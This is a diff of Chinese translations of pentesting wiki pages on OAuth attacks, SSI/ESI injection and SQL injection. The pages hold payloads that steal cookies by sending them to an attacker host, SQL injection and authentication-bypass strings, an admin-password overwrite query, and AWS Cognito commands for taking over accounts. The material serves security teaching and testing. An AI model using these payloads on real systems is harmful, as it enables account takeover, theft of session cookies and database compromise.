考虑一个假设的网站 _**https://example.com**_，旨在 **展示您所有的社交媒体帖子**，包括私人帖子。为此，使用了 OAuth 2.0。_https://example.com_ 将请求您的权限以 **访问您的社交媒体帖子**。因此，_https://socialmedia.com_ 上会出现一个同意屏幕，概述 **请求的权限和发起请求的开发者**。在您授权后，_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
考虑一个假设的网站 _**https://example.com**_，旨在 **展示您所有的社交媒体帖子**，包括私人帖子。为此，采用 OAuth 2.0。_https://example.com_ 将请求您 **访问您的社交媒体帖子** 的权限。因此，_https://socialmedia.com_ 上会出现一个同意屏幕，概述 **请求的权限和发起请求的开发者**。在您授权后，_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
理解 OAuth 2.0 框架中的以下组件至关重要：
- **资源拥有者**：您，作为 **用户/实体**，授权访问您的资源，例如您的社交媒体账户帖子。
- **资源服务器**：在应用程序代表 `资源拥有者` 获取 `access token` 后，**管理经过身份验证请求的服务器**，例如 **https://socialmedia.com**。
- **客户端应用程序**：向 `资源拥有者` 请求授权的 **应用程序**，例如 **https://example.com**。
- **客户端应用程序**：**请求 `资源拥有者` 授权的应用程序**，例如 **https://example.com**。
- **授权服务器**：在成功验证 `资源拥有者` 并获得授权后，**向 `客户端应用程序` 发放 `access tokens` 的服务器**，例如 **https://socialmedia.com**。
- **client_id**：应用程序的公共唯一标识符。
- **client_secret**：仅应用程序和授权服务器知道的机密密钥，用于生成 `access_tokens`。
- **client_secret**：仅应用程序和授权服务器知晓的机密密钥，用于生成 `access_tokens`。
- **response_type**：指定 **请求的令牌类型** 的值，例如 `code`。
- **scope**：`客户端应用程序` 请求的 `资源拥有者` 的 **访问级别**。
- **scope**：`客户端应用程序` 请求的 **访问级别**。
- **redirect_uri**：用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
- **state**：一个参数，用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。
- **grant_type**：指示 **授权类型和要返回的令牌类型** 的参数。
@ -30,7 +30,7 @@ OAuth 提供了多种版本，基础信息可在 [OAuth 2.0 documentation](https
**实际的 OAuth 流程** 如下：
1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求，请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构如下：
2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求，请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构为：
```
https://socialmedia.com/auth
?response_type=code
@ -39,18 +39,18 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. 然后您会看到一个同意页面。
4. 在您批准后，社交媒体会将带有 `code` 和 `state` 参数的响应发送到 `redirect_uri`：
3. 然后您将看到一个同意页面。
4. 在您批准后，社交媒体会向 `redirect_uri` 发送包含 `code` 和 `state` 参数的响应：
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com 利用这个 `code`，连同它的 `client_id` 和 `client_secret`，向服务器发起请求以代表您获取 `access_token`，从而访问您同意的权限：
5. https://example.com 利用这个 `code`，连同它的 `client_id` 和 `client_secret`，发起服务器端请求以代表您获取 `access_token`，从而访问您同意的权限：
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. 最后，过程结束时 https://example.com 使用您的 `access_token` 向社交媒体发起 API 调用以访问
6. 最后，过程结束时 https://example.com 使用您的 `access_token` 进行 API 调用以访问
## 漏洞 <a href="#id-323a" id="id-323a"></a>
@ -72,7 +72,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - 不当处理状态参数 <a href="#bda5" id="bda5"></a>
在OAuth实现中，**`state`参数**的误用或遗漏会显著增加**跨站请求伪造（CSRF）**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时，攻击者可以绕过CSRF保护。
在OAuth实现中，**`state`参数**的误用或遗漏会显著增加**跨站请求伪造（CSRF）**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时，就会出现此漏洞，从而允许攻击者绕过CSRF保护。
攻击者可以通过拦截授权过程，将他们的账户与受害者的账户链接，从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中，这尤其关键。
@ -89,7 +89,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露，但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露，攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换。这一错误导致`client_secret`的暴露，使攻击者能够以应用程序的名义生成`access_tokens`。此外，通过社会工程学，攻击者可以通过向OAuth授权添加额外的范围来提升权限，进一步利用应用程序的信任状态。
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换时。这个错误导致`client_secret`的暴露，使攻击者能够以应用程序的名义生成`access_tokens`。此外，通过社会工程学，攻击者可以通过向OAuth授权添加额外的范围来提升权限，进一步利用应用程序的信任状态。
### 客户端密钥暴力破解
@ -110,7 +110,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### Access Token Stored in Browser History
前往 **浏览器历史记录，检查访问令牌是否保存在其中**。
前往 **浏览器历史记录并检查访问令牌是否保存在其中**。
### Everlasting Authorization Code
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a>
在这个漏洞赏金报告中：[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此，如果你可以 **将用户电子邮件更改为其他用户的电子邮件**，你可能能够 **接管** 其他账户。
在这个漏洞赏金报告中：[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此，如果你可以 **将用户邮箱更改为其他用户邮箱**，你可能能够 **接管** 其他账户。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -145,22 +145,24 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
对于如何滥用 AWS cognito 的更详细信息，请查看：
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### 滥用其他应用程序令牌 <a href="#bda5" id="bda5"></a>
正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)，期望接收 **token**（而不是代码）的 OAuth 流程可能会受到攻击，如果它们没有检查该 token 是否属于该应用程序。
正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)，期望接收 **令牌**（而不是代码）的 OAuth 流程可能会受到攻击，如果它们没有检查令牌是否属于该应用程序。
这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 并使用 Facebook 登录的应用程序**（例如）。然后，一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录，攻击者就可以获取 **分配给其应用程序的用户的 OAuth token，并使用它在受害者的 OAuth 应用程序中登录，使用受害者的用户 token**。
这是因为 **攻击者** 可以创建一个 **支持 OAuth 的应用程序并使用 Facebook 登录**（例如）在他自己的应用程序中。然后，一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录，攻击者就可以获取 **分配给他应用程序的用户的 OAuth 令牌，并使用它在受害者的 OAuth 应用程序中登录，使用受害者的用户令牌**。
> [!CAUTION]
> 因此，如果攻击者设法让用户访问自己的 OAuth 应用程序，他将能够在期望 token 的应用程序中接管受害者的账户，而这些应用程序并未检查该 token 是否被授予其应用程序 ID。
> 因此，如果攻击者设法让用户访问他自己的 OAuth 应用程序，他将能够在期望令牌且未检查令牌是否授予其应用程序 ID 的应用程序中接管受害者的帐户。
### 两个链接和 cookie <a href="#bda5" id="bda5"></a>
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)，可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中，并且在 **后续步骤** 中，**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)，可以让受害者打开一个 **returnUrl** 指向攻击者主机的页面。这些信息将被 **存储在 cookie (RU)** 中，并且在 **后续步骤** 中，**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
为了绕过此提示，可以打开一个选项卡以启动 **Oauth 流程**，该流程将使用 **returnUrl** 设置此 RU cookie，在提示显示之前关闭选项卡，然后打开一个没有该值的新选项卡。然后，**提示不会通知攻击者的主机**，但 cookie 将被设置为它，因此 **token 将在重定向中发送到攻击者的主机**。
为了绕过此提示，可以打开一个选项卡以启动 **Oauth 流程**，该流程将使用 **returnUrl** 设置此 RU cookie，在提示显示之前关闭选项卡，然后打开一个没有该值的新选项卡。然后，**提示不会通知攻击者主机**，但 cookie 将被设置为它，因此 **令牌将被发送到攻击者主机** 进行重定向。
### 提示交互绕过 <a href="#bda5" id="bda5"></a>
@ -170,23 +172,23 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)，可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置：
- `response_mode=query` -> 代码在 GET 参数中提供： `?code=2397rf3gu93f`
- `response_mode=fragment` -> 代码在 URL 片段参数中提供 `#code=2397rf3gu93f`
- `response_mode=form_post` -> 代码在一个名为 `code` 的 POST 表单中的输入中提供
- `response_mode=web_message` -> 代码通过 post 消息发送： `window.opener.postMessage({"code": "asdasdasd...`
- `response_mode=query` -> 代码通过 GET 参数提供： `?code=2397rf3gu93f`
- `response_mode=fragment` -> 代码通过 URL 片段参数提供 `#code=2397rf3gu93f`
- `response_mode=form_post` -> 代码通过一个名为 `code` 的 POST 表单提供，并包含该值
- `response_mode=web_message` -> 代码通过消息发送： `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC 流程 - 2 FA 绕过 <a href="#b440" id="b440"></a>
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)，这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回了一个具有用户可以执行的所有操作的访问权限的 **token**，那么就可以使用该 token 绕过 2FA。
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)，这是一个允许通过 **用户名** 和 **密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个 **令牌**，该令牌具有用户可以执行的所有操作的访问权限，那么就可以使用该令牌绕过 2FA。
### 基于开放重定向到引用者的网页重定向 ATO <a href="#bda5" id="bda5"></a>
### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a>
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 讨论了如何滥用 **开放重定向** 从 **引用者** 的值来滥用 OAuth 进行 ATO。攻击步骤如下：
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何滥用 **开放重定向** 从 **引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下：
1. 受害者访问攻击者的网页
2. 受害者打开恶意链接，打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程，引用者为 **攻击者网站**。
3. 在打开者中，提供者在授权受害者后，将他们发送回 `redirect_uri` 参数的值（受害者网站），并使用 30X 代码，这仍然保持攻击者网站在引用者中。
4. 受害者 **网站根据引用者触发开放重定向**，将受害者用户重定向到攻击者网站，因为 **`respose_type`** 是 **`id_token,code`**，代码将通过 URL 的 **片段** 返回给攻击者，从而允许他通过 Google 接管受害者网站的用户账户。
2. 受害者打开恶意链接，打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程，**引荐为攻击者网站**。
3. 在打开者中，提供者在授权受害者后，将他们发送回 `redirect_uri` 参数的值（受害者网站），并使用 30X 代码，这仍然保持攻击者网站在引荐中。
4. 受害者 **网站根据引荐触发开放重定向**，将受害者用户重定向到攻击者网站，因为 **`respose_type`** 是 **`id_token,code`**，代码将通过 URL 的 **片段** 返回给攻击者，从而允许他通过 Google 在受害者网站上接管用户的帐户。
### SSRFs 参数 <a href="#bda5" id="bda5"></a>
@ -196,7 +198,7 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
**关键点：**
- **动态客户端注册** 通常映射到 `/register`，并接受如 `client_name`、`client_secret`、`redirect_uris` 和用于徽标或 JSON Web 密钥集 (JWKs) 的 URL 的详细信息，通过 POST 请求。
- **动态客户端注册** 通常映射到 `/register`，并接受如 `client_name`、`client_secret`、`redirect_uris` 和通过 POST 请求的徽标或 JSON Web 密钥集 (JWKs) 的 URL 等详细信息。
- 此功能遵循 **RFC7591** 和 **OpenID Connect Registration 1.0** 中列出的规范，其中包括可能对 SSRF 易受攻击的参数。
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF：
- **`logo_uri`**：客户端应用程序徽标的 URL，服务器可能会获取该 URL，从而触发 SSRF 或导致 XSS（如果 URL 处理不当）。
@ -206,8 +208,8 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
**利用策略：**
- 通过在参数如 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 中注册带有恶意 URL 的新客户端，可以触发 SSRF。
- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用，但提供一个预注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
- 通过在 `logo_uri`、`jwks_uri` 或 `sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端，可以触发 SSRF。
- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用，但提供一个预先注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
## OAuth 提供者竞争条件
@ -218,5 +220,4 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}}

20
src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
View File

@ -4,9 +4,9 @@
## 服务器端包含基本信息
**（摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**）**
**（介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**）**
SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务器上进行评估**，同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**，而无需通过 CGI 程序或其他动态技术提供整个页面。\
SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务器上评估**，同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**，而无需通过 CGI 程序或其他动态技术提供整个页面。\
例如，您可以在现有 HTML 页面中放置一个指令，如：
`<!--#echo var="DATE_LOCAL" -->`
@ -17,7 +17,7 @@ SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务
使用 SSI 的决定，以及何时让您的页面完全由某个程序生成，通常取决于页面的静态部分有多少，以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法，例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的，您需要寻找其他解决方案。
如果 web 应用程序使用扩展名为**`.shtml`、`.shtm` 或 `.stm`**的文件，您可以推断出 SSI 的存在，但这并不是唯一的情况。
如果 Web 应用程序使用扩展名为 **`.shtml`、`.shtm` 或 `.stm`** 的文件，您可以推断出 SSI 的存在，但这并不是唯一的情况。
一个典型的 SSI 表达式具有以下格式：
```
@ -56,12 +56,12 @@ SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务
```
## Edge Side Inclusion
存在一个问题，即**缓存信息或动态应用程序**的一部分内容在下次检索时可能会**有所不同**。这就是**ESI**的用途，通过使用ESI标签来指示**需要生成的动态内容**，然后再发送缓存版本。\
如果**攻击者**能够在缓存内容中**注入一个ESI标签**，那么他就能够在文档发送给用户之前**注入任意内容**。
存在一个问题，**缓存信息或动态应用程序**的一部分内容可能在下次检索内容时**有所不同**。这就是**ESI**的用途，通过使用ESI标签来指示**在发送缓存版本之前需要生成的动态内容**。\
如果一个**攻击者**能够在缓存内容中**注入一个ESI标签**，那么他就能够在文档发送给用户之前**注入任意内容**。
### ESI Detection
以下**头部**在服务器的响应中意味着服务器正在使用ESI：
来自服务器的响应中的以下**头部**意味着服务器正在使用ESI：
```
Surrogate-Control: content="ESI/1.0"
```
@ -93,7 +93,7 @@ hell<!--esi-->o
- **Includes**: 支持 `<esi:includes>` 指令
- **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
- **Cookie**: 文档 cookies 对 ESI 引擎可访问
- **Cookie**: 文档 cookies 可被 ESI 引擎访问
- **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句，除非上游应用程序提供头信息
- **Host Allowlist**: 在这种情况下，ESI 包含仅可能来自允许的服务器主机，使得 SSRF 例如，仅可能针对这些主机
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- 通过在响应中反射来窃取 HTTP_ONLY cookie 的 XSS：
- 通过在响应中反射来使用 XSS 偷取 HTTP_ONLY cookie：
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

64
src/pentesting-web/sql-injection/README.md
View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## 什么是 SQL 注入？
**SQL 注入**是一种安全漏洞，允许攻击者**干扰应用程序的数据库查询**。此漏洞使攻击者能够**查看**、**修改**或**删除**他们不应访问的数据，包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改，甚至可能导致服务器的泄露或服务拒绝。
## 入口点检测
当一个网站由于对 SQLi 相关输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
```
[Nothing]
'
@ -24,7 +23,7 @@
```
然后，您需要知道如何**修复查询以避免错误**。为了修复查询，您可以**输入**数据，以便**先前的查询接受新数据**，或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
_请注意，如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异，这个阶段将会更容易。_
_请注意，如果您能看到错误消息或在查询正常工作与不正常工作时能发现差异，这个阶段将会更容易。_
### **注释**
```sql
@ -69,9 +68,9 @@ page.asp?id=1 and 1=2 -- results in false
{% file src="../../images/sqli-logic.txt" %}
### 使用时间确认
### 通过时间确认
在某些情况下，您**不会注意到任何变化**在您正在测试的页面上。因此，发现盲注入的一个好方法是让数据库执行操作，这将对页面加载所需的**时间**产生影响。\
在某些情况下，您**不会注意到任何变化**在您正在测试的页面上。因此，发现盲注入的一个好方法是让数据库执行操作，并对页面加载所需的**时间**产生影响。\
因此，我们将在SQL查询中连接一个需要很长时间才能完成的操作：
```
MySQL (string concat and logical ops)
@ -129,11 +128,13 @@ SQLite
此外，如果您可以访问查询的输出，您可以使其**打印数据库的版本**。
> [!NOTE]
> 接下来我们将讨论不同的方法来利用不同类型的SQL注入。我们将以MySQL为例。
> 接下来我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。
### 使用PortSwigger进行识别
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## 利用基于Union的注入
@ -184,15 +185,15 @@ _您应该使用 `null` 值，因为在某些情况下，查询两侧的列类
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_在每个不同的数据库中发现这些数据的方法各不相同，但方法论始终相同。_
_每个不同的数据库都有不同的方法来发现这些数据，但方法论始终相同。_
## 利用隐藏的基于联合的注入
当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入，需要识别后端的执行查询。
当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入。要将盲注入转变为基于联合的注入，需要识别后端的执行查询。
这可以通过使用盲注入技术以及特定于目标数据库管理系统（DBMS）的默认表来实现。为了理解这些默认表，建议查阅目标DBMS的文档。
一旦提取了查询，就需要调整你的有效载荷以安全地关闭原始查询。随后，将一个联合查询附加到你的有效载荷中，从而利用新可访问的基于联合的注入。
一旦提取了查询，就需要调整你的有效载荷以安全地关闭原始查询。随后，将一个联合查询附加到你的有效载荷上，从而利用新可访问的基于联合的注入。
有关更全面的见解，请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
@ -210,15 +211,15 @@ _在每个不同的数据库中发现这些数据的方法各不相同，但方
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## 利用错误盲SQLi
## 利用错误盲注
这与之前的**情况相同**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生一个SQL错误：
这是**与之前相同的情况**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生一个SQL错误：
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 利用基于时间的 SQLi
在这种情况下，**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是，如果猜测的字符是正确的，您可以使页面**加载时间更长**。我们已经在之前看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
在这种情况下，**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是，如果猜测的字符是正确的，您可以使页面**加载时间更长**。我们之前已经看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -226,7 +227,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
您可以使用堆叠查询来**连续执行多个查询**。请注意，尽管后续查询会被执行，但**结果**不会**返回给应用程序**。因此，这种技术主要用于与**盲漏洞**相关的情况，在这种情况下，您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
**Oracle** 不支持 **堆叠查询**。**MySQL、Microsoft** 和 **PostgreSQL** 支持它们：`QUERY-1-HERE; QUERY-2-HERE`
**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持它们：`QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
@ -252,8 +253,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于：MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于：MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**。
## 认证绕过
@ -285,7 +285,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
### GBK 认证绕过
如果 ' 被转义，您可以使用 %A8%27，当 ' 被转义时，它将被创建： 0xA80x5c0x27 (_╘'_)
如果 ' 被转义，您可以使用 %A8%27，当 ' 被转义时，将创建：0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -308,31 +308,31 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### 修改现有对象/用户的密码
为此，您应该尝试**创建一个名为“主对象”的新对象**（在用户的情况下可能是**admin**），修改某些内容：
为此，您应该尝试**创建一个名为“主对象”的新对象**（在用户的情况下可能是**admin**）并修改某些内容：
- 创建名为：**AdMIn**（大小写字母）
- 创建名为：**admin=**
- **SQL截断攻击**（当用户名或电子邮件有某种**长度限制**时）--> 创建名为：**admin \[大量空格] a**
- **SQL 截断攻击**（当用户名或电子邮件有某种**长度限制**时）--> 创建名为：**admin \[大量空格] a**
#### SQL截断攻击
#### SQL 截断攻击
如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名和任何密码。
如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名和任意密码。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**，它将**截断****用户名**到**允许的最大字符数**（在这种情况下为：“_admin \[25个空格]_”），然后它将**自动删除末尾的所有空格**，在数据库中更新用户“**admin**”的**新密码**（可能会出现一些错误，但这并不意味着这没有成功）。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**，它将**截断****用户名**到**最大允许字符数**（在这种情况下为：“_admin \[25个空格]_”），然后它将**自动删除末尾的所有空格**，在数据库中更新用户“**admin**”的**新密码**（可能会出现一些错误，但这并不意味着这没有成功）。
更多信息：[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注意：在最新的MySQL安装中，此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格，但尝试插入一个超过字段长度的字符串将导致错误，插入将失败。有关此检查的更多信息：_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_注意：在最新的 MySQL 安装中，此攻击将不再按上述方式有效。虽然比较仍然默认忽略尾随空格，但尝试插入一个超过字段长度的字符串将导致错误，插入将失败。有关此检查的更多信息：_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL插入基于时间的检查
### MySQL 插入基于时间的检查
添加尽可能多的`','',''`以退出VALUES语句。如果执行了延迟，则您有SQL注入。
添加尽可能多的 `','',''` 以退出 VALUES 语句。如果执行了延迟，则您有 SQL 注入。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时，数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码：
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时，数据库应采取的操作。以下示例演示了如何利用此功能修改管理员帐户的密码：
示例有效负载注入：
@ -344,7 +344,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
- 查询尝试插入两行：一行为 `generic_user@example.com`，另一行为 `admin_generic@example.com`。
- 如果 `admin_generic@example.com` 的行已经存在，`ON DUPLICATE KEY UPDATE` 子句会触发，指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
